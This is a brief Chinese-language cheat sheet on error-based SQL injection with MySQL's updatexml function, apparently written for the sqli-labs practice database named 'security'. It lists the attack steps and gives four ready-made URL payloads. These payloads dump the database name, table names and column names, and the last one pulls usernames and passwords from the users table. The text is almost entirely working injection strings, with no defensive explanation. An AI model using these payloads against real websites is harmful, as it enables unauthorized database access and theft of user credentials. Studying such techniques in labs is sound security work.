基於報錯的注入模式

updatexml函式

 

基於報錯的注入一般bu'z步驟

1.求閉合字元；2.爆資料庫名；3.爆表名；4.爆列名；5.爆欄位名。

 

 

求庫名

?id=1’ and updatexml(1,concat(0x23,database()),1)%23

求表名

?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)%23

求列名

?id=1' and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) %23

求欄位內容

?id=1' and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)%23